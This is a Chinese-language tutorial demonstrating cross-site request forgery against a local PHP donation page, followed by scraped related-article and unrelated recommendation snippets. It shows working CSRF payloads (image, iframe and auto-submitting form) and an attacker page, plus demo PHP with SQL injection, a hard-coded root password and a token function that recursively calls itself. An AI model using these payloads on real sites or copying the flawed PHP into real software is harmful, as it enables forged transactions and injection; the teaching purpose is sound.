CSRF攻击演示
CSRF就是伪装成用户做坏事!
它的手段可能是:
一张引发邪恶请求的图片:
<img src="http://localhost/demoA.php?money=500" />
一个嵌入的iframe
<iframe src="http://localhost/demoA.php?money=800" frameborder="0"></iframe>
一个会自动提交的表单:
<body onload="javascript:document.forms[0].submit()">
<form method="get" action="http://localhost/demoA.php">
<input type="hidden" name="money" value="300">
</form>
</body>
....等
某天抠门的你慷慨解囊地去A站捐了100块:
http://localhost/demoA.php
<?php
//把money插入表
session_start();
//A站session
$_SESSION['admin']="admin";
$conn = mysql_connect("localhost", "root", "open00") or die("数据库连接失败!");
mysql_select_db("test", $conn);
mysql_query("set names utf8");
$money=$_GET['money'];
$sql="insert into `mytable` (`money`) values('".$money."')";
if(isset($_SESSION['admin'])){
mysql_query($sql);
echo "你捐款了".$money."块";
}else{
echo "未登录,不能操作";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>A站</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="money" value="100"> <input type="submit" value="提交">
</form> </body>
</html>
然后你不知怎么的从一个网页上看到这样一个图片,诱惑到不行啊 ~ =_=!!
手贱点击了一下~跳转到B站~然后又捐了300块! 花擦!你一辈子都没捐那么多!

<a href="http://127.0.0.2/demoB.php"><img src="猥琐图" /></a>
怎么回事!到底是怎么回事呢?我们看看B站代码,就是访问的时候向A发送了一个请求,而这时候你登录着A站,所以A站以为是你本人操作,就执行了:
http://127.0.0.2/demoB.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>B站发起CSRF</title>
</head>
<body onload="javascript:document.forms[0].submit()">
<form method="get" action="http://localhost/demoA.php">
<input type="hidden" name="money" value="300">
</form>
</body>
</html>
=======================================
你跟站长打了小报告,A站站长一怒之下在表单内加入了随机token值,页面每提交一次就变更一次,B站没办法制造出一样的token所以再也攻击不了了
functions.php
<?php
//CSRF防卫token
function gen_token()
{
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = gen_token();
} function gen_input()
{
gen_token();
echo '<input type="hidden" name="token" value="' . $_SESSION['token'] . '">';
}
?>
demoA.php
<?php
//把money插入表
session_start();
include("functions.php");
//A站session
$_SESSION['admin']="admin";
$conn = mysql_connect("localhost", "root", "open00") or die("数据库连接失败!");
mysql_select_db("test", $conn);
mysql_query("set names utf8");
$money=$_POST['money'];
$sql="insert into `mytable` (`money`) values('".$money."')";
//判断用户登录
if(isset($_SESSION['admin'])){
//判断是否带有正确的token
if(isset($_SESSION['token']) && $_POST['token']==$_SESSION['token']){
mysql_query($sql);
echo "你捐款了".$money."块";
}else{
echo "请点击提交按钮";
}
}else{
echo "未登录,不能操作";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>A站</title>
</head>
<body>
<form action="" method="post">
<input type="text" name="money" value="100">
<? gen_input(); ?>
<input type="submit" value="提交">
</form>
</body>
</html>
=================数据库=====================
--
-- 数据库: `test`
--
-- --------------------------------------------------------
--
-- 表的结构 `mytable`
--
CREATE TABLE `mytable` (
`money` varchar(255) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
CSRF攻击演示的更多相关文章
- php web开发安全之csrf攻击的简单演示和防范(一)
csrf攻击,即cross site request forgery跨站(域名)请求伪造,这里的forgery就是伪造的意思.网上有很多关于csrf的介绍,比如一位前辈的文章浅谈CSRF攻击方式,参考 ...
- asp.netcore mvc 防CSRF攻击,原理介绍+代码演示+详细讲解
一.CSRF介绍 1.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session ridin ...
- Flask模拟实现CSRF攻击
CSRF CSRF全拼为Cross Site Request Forgery,译为跨站请求伪造. CSRF指攻击者盗用了你的身份,以你的名义发送恶意请求. 包括:以你名义发送邮件,发消息,盗取你的账号 ...
- Flask基础(17)-->防止 CSRF 攻击
CSRF CSRF全拼为Cross Site Request Forgery,译为跨站请求伪造. CSRF指攻击者盗用了你的身份,以你的名义发送恶意请求. 包括:以你名义发送邮件,发消息,盗取你的账号 ...
- 浅析history hack、心血漏洞、CSS欺骗、SQL注入与CSRF攻击
漏洞产生的原因主要有系统机制和编码规范两方面,由于网络协议的开放性,目前以 Web 漏洞居多 关于系统机制漏洞的典型有JavaScript/CSS history hack,而编码规范方面的漏洞典型有 ...
- CSRF攻击原理及预防手段
CSRF全程 Cross Site Request Forgery, 跨站域请求伪造.这种攻击方式相对于XSS,SQL注入等攻击方式比较晚被发现,今天就来讲解下这种攻击方式以及避免方式. 攻击过程 ...
- 风炫安全web安全学习第二十八节课 CSRF攻击原理
风炫安全web安全学习第二十八节课 CSRF攻击原理 CSRF 简介 跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或 ...
- 安全防御之防xss、SQL注入、与CSRF攻击
XSS攻击 个人理解,项目中最普通的就是通过输入框表单,提交js代码,进行攻击例如在输入框中提交 <script>alert("我是xss攻击");</scrip ...
- 保护ASP.NET 应用免受 CSRF 攻击
CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/ ...
随机推荐
- CGIC简明教程(转摘)
CGIC简明教程 本系列的目的是演示如何使用C语言的CGI库“CGIC”完成Web开发的各种要求. ********************************* 基础知识 1 ...
- 日志生成控制文件syslog.conf
1: syslog.conf的介绍 对于不同类型的Unix,标准UnixLog系统的设置,实际上除了一些关键词的不同,系统的syslog.conf格式是相同的.syslog采用可配置的.统一的系统登记 ...
- system()函数
windows下system () 函数详解 windows操作系统下system () 函数详解(主要是在C语言中的应用) 函数名: system 功 能: 发出一个DOS命令 用 法: i ...
- 一张图总结html5新特性
- Spring mvc知识点总结——面试篇
一.MVC思想MVC(Model-View-Controller)三元组的概念:1.Model(模型):数据模型,提供要展示的数据,因此包含数据和行为,可以认为是领域模型或JavaBean组件(包含数 ...
- easyui layout 左右面板折叠后 显示标题
(function($){ var buttonDir = {north:'down',south:'up',east:'left',west:'right'}; $.extend($.fn.l ...
- `__pycache__` 是什么
为了提高模块加载的速度,每个模块都会在 __pycache__ 文件夹中放置该模块的预编译模块,命名为 module.version.pyc, version 是模块的预编译版本编码,一般都包含 Py ...
- hashMap原理剖析
在日常开发中,hashMap应该算是比较常用的一个类了,今天就来学习一下hashMap的实现原理. 概念 1.什么时hash? 书面定义:就是把一个不固定长度的二进制值映射成一个固定长度的二进制值. ...
- android studio 汉化 美化 个性化 修改 安卓工作室 2.3.3 最新版
韩梦飞沙 韩亚飞 313134555@qq.com yue31313 han_meng_fei_sha 先看一下效果. 建议全屏看图,或者新标签看图.
- 安卓 onTouch OnTouchEvent onChick 顺序
韩梦飞沙 韩亚飞 313134555@qq.com yue31313 han_meng_fei_sha 分发触摸事件 -> 在 触摸 时候 -> 在触摸事件时候->在点击时候 ...